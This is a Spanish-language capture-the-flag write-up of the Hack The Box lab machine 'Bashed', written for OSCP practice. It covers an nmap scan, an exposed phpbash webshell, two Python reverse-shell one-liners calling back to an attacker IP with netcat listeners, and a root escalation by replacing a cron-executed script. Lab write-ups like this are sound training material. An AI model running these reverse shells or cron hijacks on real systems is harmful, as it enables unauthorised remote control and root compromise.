OSCP Path ~ Bashed de Hack The Box (Necesario VIP)
Bashed ~ Hack The Box to OSCP
Realizamos el Primer escaneo con Nmap
$" nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn -oG allports 10.10.10.68 "
Procedemos con el siguiente escaneo de Nmap
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
Procedemos a hacer Fuzzing o reconocimiento de rutas a nivel web
1.- /dev
2.- /uploads
3.-/js
Vamos a revisar esas rutas y si almacenan archivos y son visibles
Explotacion
Encontramos en la ruta http://10.10.10.68/dev/phpbash.php
una webshell !! Una terminal interactiva como el usuarion www-data
Vemos que desde la webshell ya podriamos listar el contenido de la primera flag almacenada en la ruta home/arrexel/user.txt
Pero porque no vamos a conseguir un Revese-Shell en nuestra maquina atacante, probamos diversas Rshells y esta nos funciona correctamente.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.12",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Nos ponemos a la escucha con una session de netcat
-nc -vlnp 443
y recibimos la shell, hacemos un tratamiento de la tty como siempre y pillamos la primera flag.
Escalada de privilegios
Listamos privilegios de www.data con $sudo -l
y nos dice que podemos ejecutar todos los comandos como el Usuario
Scriptmanager: Hacemos lo siguiente $ sudo -u scriptmanager /bin/bash
Y nos convertimos en el usuario scriptmanager $
Nos movemos al directorio / raiz y desde ahi listamos los diferentes archivos para ver su contenido.
En este caso encontramos en el directorio inusual en la /
- “SCRIPTS”
y un script en python llamado "test.py"
que por detras tiene una Tarea Cron
como administrador del sistema.
Modificamos o borramos el script “test.py"
y creamos otro archivito llamado igual con nuestro propio script en python que va a llevar el siguiente comando:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.12",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
[] Dato importante []
El mismo comando que antes sin el python -c
y quitando las comillas.
Nos quedamos a la eschucha con nc -vlnp 1234
y cuando la Tarea Cron
se ejecute como el usuario root
; conseguiremos nuestra Reverse-Shell como el user ROOT
Maquina Bashed Rooteada =)